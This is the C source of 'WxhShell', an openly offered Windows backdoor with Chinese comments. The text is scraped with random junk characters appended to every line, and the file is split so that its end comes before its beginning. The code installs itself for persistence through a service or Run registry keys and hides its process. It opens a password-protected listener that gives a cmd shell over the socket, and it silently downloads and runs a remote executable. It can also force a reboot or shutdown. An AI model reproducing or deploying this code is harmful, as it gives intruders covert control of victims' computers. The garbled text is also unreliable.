    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cuc+9  
    else { Y2W{?<99  
    closesocket(wsh); lyw)4;wt\  
    ExitThread(0); tZygTvK/S  
    } juB/?'$~  
    break; :czUOZ_  
    } z_%}F':  
  // 获取shell 4F,RlKHBl  
  case 's': { Nt~G  {m  
    CmdShell(wsh); 7T?T0x3>  
    closesocket(wsh); uQ3W =  
    ExitThread(0); ^C~t)U  
    break;  t: 03  
  } zU";\);  
  // 退出 M+WN\.2pX  
  case 'x': {  #{zF~/Qq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +,J!xy+~,  
    CloseIt(wsh); 66HxwY3a  
    break; ~/;shs<9EM  
    } ~Z5Wwp]a  
  // 离开 eMUs w5=  
  case 'q': { b#Vm;6BHD1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -o YJ&r  
    closesocket(wsh); hv)d  
    WSACleanup(); -!X\xA/KN  
    exit(1); x%55:8{  
    break; 9KMtPBZ  
        } 6bUcrw/# p  
  } _Q}vPSJviC  
  } 3j w4#GW  
\/?&W[TF  
  // 提示信息 Yw,LEXLY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A&:~dZ:%w  
} |L~RC  
  } 92M_Z1_w[  
.>@]Im  
  return; }c'T]h\S  
} 'V} 4_3#q  
;D}E/' =  
// shell模块句柄 Y{ w9D`}  
int CmdShell(SOCKET sock) wg|/-q-  
{ xcQ:&q  
STARTUPINFO si; !6eF8T  
ZeroMemory(&si,sizeof(si)); %^bN^Sq -  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k9iB-=X?4s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k Hh0&~ (  
PROCESS_INFORMATION ProcessInfo; -\M;bQV[C  
char cmdline[]="cmd"; G/&Wc2k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  y-)5d  
  return 0; U Kf0cU  
} Hw~?%g:<S  
Vn6]h|vm  
// 自身启动模式 ^qV6 khg  
int StartFromService(void) vp`s< ;CA  
{ _hi8m o  
typedef struct nrCr9#  
{ [u7i)fn5?  
  DWORD ExitStatus; )%~<EJ*&Z  
  DWORD PebBaseAddress;  +D|E8sz8  
  DWORD AffinityMask; =Y-mc#{8  
  DWORD BasePriority; (r"2XXR  
  ULONG UniqueProcessId; P#qQde/y  
  ULONG InheritedFromUniqueProcessId; X!f` !tZ:{  
}   PROCESS_BASIC_INFORMATION; /xkF9   
pFwhv w  
PROCNTQSIP NtQueryInformationProcess; 8o!LgT5  
;g_<i_ *x#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [,ZHn$\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wh1'?#  
EGK7)O'W  
  HANDLE             hProcess; !Q5NV4gd+  
  PROCESS_BASIC_INFORMATION pbi; \mDBOC0eK  
g)^g_4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2q%vd =T  
  if(NULL == hInst ) return 0; gt Rs||  
|]j2T 8_=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d`4F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P6u%-#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .@3bz  
++Fk8R/$U[  
  if (!NtQueryInformationProcess) return 0; ?TY/'-M5  
E<L6/rG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yPVK>em5  
  if(!hProcess) return 0; 3Jw}MFFV  
Ys@G0}\3G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JId|LHf*P  
?7R&=B1g  
  CloseHandle(hProcess); 03a<Cd/S  
.?*TU~S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZMmf!cKY:'  
if(hProcess==NULL) return 0; n_Bi HMIU'  
:x36Z4:  
HMODULE hMod; `E-cf7%  
char procName[255]; e~NF}9#A  
unsigned long cbNeeded; TtP2>eh-  
i[m-&   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y~;w`5;|  
{Q AV  
  CloseHandle(hProcess); #wfb-`,5&9  
Ygfv?  
if(strstr(procName,"services")) return 1; // 以服务启动 ]%Z7wF</  
Wtqv  
  return 0; // 注册表启动 ^4[|&E:  
} 'uU{.bq  
s[#ww =T\  
// 主模块 d^Zr I\AJ  
int StartWxhshell(LPSTR lpCmdLine) X!!3>`|  
{ d2 (3 ,  
  SOCKET wsl; Z$:iq  
BOOL val=TRUE; m! _*Q  
  int port=0; FFpG>+*3  
  struct sockaddr_in door; W^N|+$g>H  
+'!Y[7|9iv  
  if(wscfg.ws_autoins) Install(); Bf{c4YiF  
j|2s./!Qg  
port=atoi(lpCmdLine); &@/25Y2  
Bd>a"3fA  
if(port<=0) port=wscfg.ws_port; 1 JB~G7  
hLF;MH@  
  WSADATA data; gPw{'7'U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d .t$VRO  
 NH0uK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vmIt!x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /L*JHNu"_  
  door.sin_family = AF_INET; ;cp,d~mrf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J ` KyS  
  door.sin_port = htons(port); Q+a"Z^Z|  
m\e?'-(s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $#/f+kble  
closesocket(wsl); f&NXWo/  
return 1; T1WH  
} p^*A&7d:P  
=U,mzY (  
  if(listen(wsl,2) == INVALID_SOCKET) { ^b^}6L'Z  
closesocket(wsl); xvTz|Y  
return 1; YG J)_y  
} =gQ^,x0R9  
  Wxhshell(wsl); -)Of\4kx  
  WSACleanup(); a<CACWsN.T  
OmLe+,7'  
return 0; lL"ANlX-P  
F P>.@ Y  
} YuFR*W;$  
ndS8p]P&o(  
// 以NT服务方式启动 Js/QL=,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *=zv:!  
{ njckPpyb@  
DWORD   status = 0; 1"UHe*2  
  DWORD   specificError = 0xfffffff; \h5!u1{L  
ug^esB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qrufnu5cC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 52t6_!y+V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lb\VQZp!y  
  serviceStatus.dwWin32ExitCode     = 0; Kjt\A]R%  
  serviceStatus.dwServiceSpecificExitCode = 0; ~}RfepM  
  serviceStatus.dwCheckPoint       = 0; ~Xz?H=}U+  
  serviceStatus.dwWaitHint       = 0; ~|( eh9  
OTzuOP 8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "NtY[sT{V  
  if (hServiceStatusHandle==0) return; <h%I-e6  
_BZ6Ws$C2  
status = GetLastError(); \IZY\WU}2  
  if (status!=NO_ERROR) CN:z *g  
{ 3<HZ)w^B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q5{h@}|M  
    serviceStatus.dwCheckPoint       = 0; DB3qf>@?  
    serviceStatus.dwWaitHint       = 0; "/Pq/\,R|  
    serviceStatus.dwWin32ExitCode     = status; EO%"[k  
    serviceStatus.dwServiceSpecificExitCode = specificError; ||4T*B06  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!EAs`$o`  
    return; ^09-SUl^  
  } %Ni"*\  
9;NXzO27  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G`RQl@W>)(  
  serviceStatus.dwCheckPoint       = 0; 2P ^x'I  
  serviceStatus.dwWaitHint       = 0; )6(|A$~C+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <iB5&  
} JJK-+a6cX  
Q89fXi0Ivb  
// 处理NT服务事件,比如:启动、停止 ty'/i!/\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HI7w@V8Ed  
{ Ub/ZzAwq  
switch(fdwControl) )]kxLf#  
{ rn/~W[  
case SERVICE_CONTROL_STOP: c(aykIVOo  
  serviceStatus.dwWin32ExitCode = 0; KwU;+=_.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -iL:D<!Cb_  
  serviceStatus.dwCheckPoint   = 0; +lxjuEiae  
  serviceStatus.dwWaitHint     = 0; DTG-R>y^  
  { RFoCM^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RL3*fRlb  
  } <w`EU[y_  
  return; yD#(Iw  
case SERVICE_CONTROL_PAUSE: &8?O ~X=/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PQp/ &D4K  
  break; =#=}|Q}  
case SERVICE_CONTROL_CONTINUE: .N( X. C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d0-4KN2  
  break; '6; {DX  
case SERVICE_CONTROL_INTERROGATE: 7ug"SV6Hb  
  break; |Z)}-'QUJ  
}; 7hTpjox2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U$Z<lx2P  
} &>&6OV]P'  
"blq)qo)  
// 标准应用程序主函数 `!$6F:d_l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lv9Tq5C  
{ 'v9M``  
[$;cjys  
// 获取操作系统版本 bv VkN  
OsIsNt=GetOsVer(); )[oP `Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e^oGiL ~  
S~)`{ \  
  // 从命令行安装 ;|0P\3  
  if(strpbrk(lpCmdLine,"iI")) Install(); TgaxZW  
$v #  
  // 下载执行文件 P;o  {t  
if(wscfg.ws_downexe) { r-go921  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D'vaK89\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;S \s&.u  
} 6 &0r/r  
0|.jIix;  
if(!OsIsNt) { TY'c'u,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hqs!L`oW)  
HideProc(); \Oq8kJ=  
StartWxhshell(lpCmdLine); -gm5E qi  
} ~TsRUT  
else }dpTR9j=  
  if(StartFromService()) Hy1$Kvub  
  // 以服务方式启动 (' 7$K  
  StartServiceCtrlDispatcher(DispatchTable); pS |K[:5  
else [^s;Ggi9  
  // 普通方式启动 <D3mt Q  
  StartWxhshell(lpCmdLine); T.3{}230<  
FR[I~unqD  
return 0; bm 4RRI  
} i%[gNh  
ch :rAx  
?&;_>0P  
zWhj >Za  
=========================================== "+T`{$Z=C  
8QK8q: |  
%4),P(4N  
]95VM yN  
D\b$$z]q  
NIVR;gm  
" *U,J Q  
`(h^z>%  
#include <stdio.h> Qv5 fK  
#include <string.h> S4`X^a}pY  
#include <windows.h> n"T ^  
#include <winsock2.h> 5{k,/Z[L  
#include <winsvc.h> xi(1H1KN5B  
#include <urlmon.h> P O 5Wi  
$] "M`h  
#pragma comment (lib, "Ws2_32.lib") `DF49YP"~  
#pragma comment (lib, "urlmon.lib") ,AweHUEn  
J)Y`G4l2@  
#define MAX_USER   100 // 最大客户端连接数 <O 0Q]`i  
#define BUF_SOCK   200 // sock buffer Ao8ua|:  
#define KEY_BUFF   255 // 输入 buffer oG1zPspL  
!e$ZOYe  
#define REBOOT     0   // 重启 i7-~"g  
#define SHUTDOWN   1   // 关机 } LS8q  
'0+~]4&}q  
#define DEF_PORT   5000 // 监听端口 TLVsTM8 P  
M,_ $s,  
#define REG_LEN     16   // 注册表键长度 q+\<%$:u  
#define SVC_LEN     80   // NT服务名长度 0|Fx Sc  
HTT&T9]  
// 从dll定义API fV|uKs(W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 88v8lt;R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cyJ{AS+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (cOe*>L;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); up'`)s'  
H?];8wq$G  
// wxhshell配置信息 4F|79U #  
struct WSCFG { 9=ygkPY  
  int ws_port;         // 监听端口 AJ7^'p9Y  
  char ws_passstr[REG_LEN]; // 口令 v#qdq!64  
  int ws_autoins;       // 安装标记, 1=yes 0=no [w'Q9\,p  
  char ws_regname[REG_LEN]; // 注册表键名 i`2SebDj'w  
  char ws_svcname[REG_LEN]; // 服务名 H%@f ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S[3"?$3S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~^' ,4<K-}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "u7[[.P)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ESRj<p%W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s6 g"uF>k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aNEah  
]##aAh-P4&  
}; '_G\_h}5  
]qT&6:;-]  
// default Wxhshell configuration -p_5T*R  
struct WSCFG wscfg={DEF_PORT, :,0(aB  
    "xuhuanlingzhe", ^1.*NG8  
    1, Y 3ApW vS  
    "Wxhshell", losqc *|  
    "Wxhshell", -{cmi,oy  
            "WxhShell Service", ^<OYW|q?\r  
    "Wrsky Windows CmdShell Service", R7Y_ 7@p  
    "Please Input Your Password: ", X!Z)V)@J8  
  1, sr6 BC.  
  "http://www.wrsky.com/wxhshell.exe", m>vwpRBOA  
  "Wxhshell.exe" "V>}-G&  
    }; L5FOlzn  
mF;mJq<d  
// 消息定义模块 JI-i7P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $CEdJ+0z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N@c G jpQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X 61|:E  
char *msg_ws_ext="\n\rExit."; ~9+01UU^  
char *msg_ws_end="\n\rQuit."; v@Uk% O/  
char *msg_ws_boot="\n\rReboot..."; (kLaXayn  
char *msg_ws_poff="\n\rShutdown..."; xx`YBn~"  
char *msg_ws_down="\n\rSave to "; ,-e}X w9  
?@G s7'  
char *msg_ws_err="\n\rErr!"; uslu-|b!%  
char *msg_ws_ok="\n\rOK!"; :'DyZy2Fd  
Czjb.c:a.Y  
char ExeFile[MAX_PATH]; ez'NHodwk2  
int nUser = 0; _Z0 .c@0  
HANDLE handles[MAX_USER]; C(XV YND3  
int OsIsNt; ^L2d%d\5  
n= <c_a)Nb  
SERVICE_STATUS       serviceStatus; 1jg* DQ7L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ytIPY7E  
+\T8`iCFB  
// 函数声明 _aFe9+y  
int Install(void); eC!=4_lx)  
int Uninstall(void); oK\zyNK  
int DownloadFile(char *sURL, SOCKET wsh); TGF$zvd  
int Boot(int flag); g5nJ0=9  
void HideProc(void); -MTk9<qnT  
int GetOsVer(void); OvX&5Q5  
int Wxhshell(SOCKET wsl); MR1I"gqE}I  
void TalkWithClient(void *cs); GI]\  
int CmdShell(SOCKET sock); O6G\0o  
int StartFromService(void); \V$qAfP)  
int StartWxhshell(LPSTR lpCmdLine); f`hZb  
D0\>E}Y E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a}%f +`z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a dqS.xs  
\t!~s^Oox  
// 数据结构和表定义 w#b@6d  
SERVICE_TABLE_ENTRY DispatchTable[] = +F)-n2Bi  
{ i{6&/TBnr  
{wscfg.ws_svcname, NTServiceMain}, _;k<=ns(=  
{NULL, NULL} r'*$'QY-N  
}; qYA~Os1e  
B.; qvuM~  
// 自我安装 F{ %*(U  
int Install(void) j,j|'7J%  
{ <Z%=lwtX  
  char svExeFile[MAX_PATH]; *tUOTA 3L  
  HKEY key; +aOdaNcI  
  strcpy(svExeFile,ExeFile); ~lo43$)^  
G(7%*@SX  
// 如果是win9x系统,修改注册表设为自启动 2=_$&oT**  
if(!OsIsNt) { lOt7 ij(,L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -0^]:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Og1-LP|X  
  RegCloseKey(key); )$!b`u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i.t%a{gL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =^KgNQ   
  RegCloseKey(key); FoetP`   
  return 0; "Pwa}{  
    } EX8+3>)  
  } ..JRtuM-v  
} Xfk DMh  
else { zP,r,ok7  
;U=b 6xE  
// 如果是NT以上系统,安装为系统服务 (xb2H~WrN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hVF^ "$  
if (schSCManager!=0) &3t973=  
{ "J"=<_?  
  SC_HANDLE schService = CreateService Z[nHo'  
  ( )95k3xo  
  schSCManager, /wLBmh1"  
  wscfg.ws_svcname, J9[7AiEd(/  
  wscfg.ws_svcdisp, MKfK9>a  
  SERVICE_ALL_ACCESS, q}t]lD %C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _^& q,S  
  SERVICE_AUTO_START, }&vD(hX  
  SERVICE_ERROR_NORMAL, m54>}  
  svExeFile, I;w!  
  NULL, Uoe{,4T  
  NULL, GNJ /|9  
  NULL, ^.6yzlY  
  NULL, 1'o[9-  
  NULL _bCAZa&&  
  ); F%6wdM W  
  if (schService!=0) "s0,9; }  
  { vW &G\L  
  CloseServiceHandle(schService); #KiJ{w'  
  CloseServiceHandle(schSCManager); =6~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fn,n'E]  
  strcat(svExeFile,wscfg.ws_svcname); 23tX"e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zpwoK&T+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d3c.lD)L9  
  RegCloseKey(key); 0I.KHIB k  
  return 0; @mCe{r*`  
    } a>OYJe  
  } 1L!;lP2  
  CloseServiceHandle(schSCManager); ><}nZ7  
} 5[4wN( )  
} *V kaFQZ$,  
`TPIc  
return 1; O z6$u  
} bW=q G  
+bE{g@%@ +  
// 自我卸载 X\m\yv}}  
int Uninstall(void) (c[u_~ ;  
{ He=C\"  
  HKEY key; x eFx!$3  
S' $;  
if(!OsIsNt) { 684& H8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hV(^Y)f  
  RegDeleteValue(key,wscfg.ws_regname); 7y=O!?*  
  RegCloseKey(key); rp4D_80q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $sY'=S  
  RegDeleteValue(key,wscfg.ws_regname); $l*?Ce:  
  RegCloseKey(key); >T]9.`xhK  
  return 0; n$C- ^3 c  
  } HDV-qYD|O~  
} C~T ,[U  
} )vO"S  
else { eE'P)^KV  
C4(xtSJSd!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )zxb]Pg+  
if (schSCManager!=0) *F%1~  
{ LG:k}z/T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f,yl'2{  
  if (schService!=0) Kzn1ct{65!  
  { UE^o}Eyg  
  if(DeleteService(schService)!=0) { Bug.>ln1  
  CloseServiceHandle(schService); A8.noV  
  CloseServiceHandle(schSCManager); 82@^vX  
  return 0; lC#wh2B6  
  } p(pfJ^/:(  
  CloseServiceHandle(schService); i975)_X(  
  } Nqj@p<y/q  
  CloseServiceHandle(schSCManager); u~OlJ1V  
} WkiT,(i  
} {A==av  
i!2k f  
return 1; 0 8)f  
} <<LLEdB  
_+48(Q F<  
// 从指定url下载文件 2vpQ"e- A  
int DownloadFile(char *sURL, SOCKET wsh) = z mxki  
{ x[lIib1s  
  HRESULT hr; rY(7IX  
char seps[]= "/"; Q &W>h/  
char *token; fof}I:vO  
char *file; UdrgUqq)  
char myURL[MAX_PATH]; i@+m<YS:2>  
char myFILE[MAX_PATH]; ufk2zL8y  
.hH_1Mo8  
strcpy(myURL,sURL); d2eXN3"  
  token=strtok(myURL,seps); [ifw}(  
  while(token!=NULL) A4,%l\di<  
  { {xg=Ym)  
    file=token; LC]0c)v#  
  token=strtok(NULL,seps); h rSH)LbJ  
  } 8a*&,W  
i&H^xgm  
GetCurrentDirectory(MAX_PATH,myFILE); I;rW!Hb  
strcat(myFILE, "\\"); y]t19G+  
strcat(myFILE, file); R=.?el  
  send(wsh,myFILE,strlen(myFILE),0); 2z{B  
send(wsh,"...",3,0); Jw5@#j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |9XoRGgXU  
  if(hr==S_OK) $B?8\>_?  
return 0; -6J <{1V  
else p^ (Z  
return 1; k}:;`ST  
BDf M4  
} Zq&'a_  
k~AtnI  
// 系统电源模块 Fk49~z   
int Boot(int flag) <5%*"v  
{ Eb~vNdPo  
  HANDLE hToken; - c>Vw&1  
  TOKEN_PRIVILEGES tkp; M-].l3  
 \xp0n  
  if(OsIsNt) { WYF8?1dt +  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <xSh13<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |_ED*ATR=  
    tkp.PrivilegeCount = 1; \},H\kK+^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "7EK{6&jQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iLv -*%%  
if(flag==REBOOT) { [*O>Lk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 41=H&G&  
  return 0; cZ)JvU9]  
} F(.`@OO  
else { G^ k8Or2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ##''d||u  
  return 0; cvy 5|;-u  
} |BM#rfQ  
  } >'Lkn2WI  
  else { 9h+Hd&=  
if(flag==REBOOT) { !pU^?Hy=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F|6"-*[RS  
  return 0; =Pn"nkpML  
} UTE6U6  
else { (KN",u6F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l"JM%LV  
  return 0; @su<_m6'  
} zjA#8;h~w  
} uQbag]&j  
Z1 )1s  
return 1; uSYI X  
} Y(`Bc8h  
Oto8?4[n  
// win9x进程隐藏模块 WFc4(Kl  
void HideProc(void) }~&0<8m  
{ 2k=|p@V n~  
4 y}z+4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %JPr 7 }  
  if ( hKernel != NULL ) 6 Q7MAP M  
  { cXt&k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #t Uhul/O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5l@} 1n  
    FreeLibrary(hKernel); p q?# X0  
  } }\H. G  
Zjn1,\(t~u  
return; q1YNp`]0i8  
} h`! 4`eI  
jqvw<+#  
// 获取操作系统版本 -">Tvi4  
int GetOsVer(void) |UlR+'rl  
{ 2vB,{/GXP  
  OSVERSIONINFO winfo; +W1l9n*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9wc\~5{li  
  GetVersionEx(&winfo); p cUccQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lMW6D0^  
  return 1; X`&Us  
  else "Ltp]nCR  
  return 0; jQz^)8)B  
} o6 NmDv5  
9`/ywt3Y  
// 客户端句柄模块 tjV63`LD  
int Wxhshell(SOCKET wsl) 3Jd a:  
{ S9[Up}`  
  SOCKET wsh; .AX%6+o  
  struct sockaddr_in client; zN9@.!?X2  
  DWORD myID; g&B7Y|Es  
bZK`]L[   
  while(nUser<MAX_USER) 4E!Pxjl3a  
{ =$~x]  
  int nSize=sizeof(client); 3- d"-'k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w U]8hkl?  
  if(wsh==INVALID_SOCKET) return 1; @DM NL sQ  
s#0m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N8r+Q%ov  
if(handles[nUser]==0) {X pjm6a7  
  closesocket(wsh); R. ryy  
else 2"xhFxoD7  
  nUser++; Z^A(Q>{e  
  } hI<$lEB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;SA+| ,  
_mQ~[}y+?  
  return 0; RC"xnnIJv  
} 8BS$6Pa  
v"sU87+  
// 关闭 socket z;YX 2G/{  
void CloseIt(SOCKET wsh) RKs_k`N0  
{ lg (>n&  
closesocket(wsh); 0B`rTLwB  
nUser--; nM$-L.dG  
ExitThread(0); 2I4G=jM[  
} 7V\M)r{q7  
OnW,R3eg  
// 客户端请求句柄 T5-'|+  
void TalkWithClient(void *cs) Si#XF[/  
{ eLN(NSPoS  
E&W4`{6K4  
  SOCKET wsh=(SOCKET)cs; =8qhK=&]  
  char pwd[SVC_LEN]; 7,9zj1<  
  char cmd[KEY_BUFF]; !Nhq)i  
char chr[1]; = 6w(9O  
int i,j; !.{{QwZ  
4~:D7",Jn  
  while (nUser < MAX_USER) { ?=Z0N&}[  
`p^xdj}  
if(wscfg.ws_passstr) { P}p6{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;}4e+`fF|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %} Ob~m>P  
  //ZeroMemory(pwd,KEY_BUFF); 9c@\-Z'  
      i=0; Y2p~chx9  
  while(i<SVC_LEN) { b(g?X ( &  
V :4($  
  // 设置超时 (e{pAm  
  fd_set FdRead; Tq.%_/@M<  
  struct timeval TimeOut; &]'< M  
  FD_ZERO(&FdRead); ?K?v64[  
  FD_SET(wsh,&FdRead); k{$Mlt?&-  
  TimeOut.tv_sec=8; {5:V hW}  
  TimeOut.tv_usec=0; h5#V,$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @)wNINvD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !g-19at  
2KmPZ&r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (svd~he2  
  pwd=chr[0]; V$ss[fX  
  if(chr[0]==0xd || chr[0]==0xa) { BcTV5Wcr  
  pwd=0; %g&i.2v  
  break; F{aM6I  
  } B\!.o=<h  
  i++; 9Lxj ]W2^  
    } 7^:0?Q  
~v<,6BS<$Z  
  // 如果是非法用户,关闭 socket [HhdeLOX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nK9A=H'Hc  
} 7e-l`]  
^E8eW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DV/P/1E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 p(KdYc  
pb5'5X+  
while(1) { =#<TE~n2(  
^m:?6y_uw  
  ZeroMemory(cmd,KEY_BUFF); i;>Hy|  
L~jKx)S%  
      // 自动支持客户端 telnet标准   9f4#b8  
  j=0; DNaU mz  
  while(j<KEY_BUFF) { v2Bks 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o5FBqt  
  cmd[j]=chr[0]; }A"%YDrNbG  
  if(chr[0]==0xa || chr[0]==0xd) { 29#;;n}p  
  cmd[j]=0; (HkMubnqg  
  break; %h%^i   
  } WVf>>E^1  
  j++; ` 0k  
    } c.PPVqx  
{ LJRdV  
  // 下载文件 "+ji`{  
  if(strstr(cmd,"http://")) { 89'XOXl&1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +'x`rk  
  if(DownloadFile(cmd,wsh)) of ^N4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[y75 [  
  else jn#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h30~2]hH  
  } 65Ysg}x  
  else { % ;2x.  
Oav^BhUO  
    switch(cmd[0]) { cV5Lp4wY?  
  13Ee"r  
  // 帮助 B" wk:\zC  
  case '?': { xU^Flw,4  
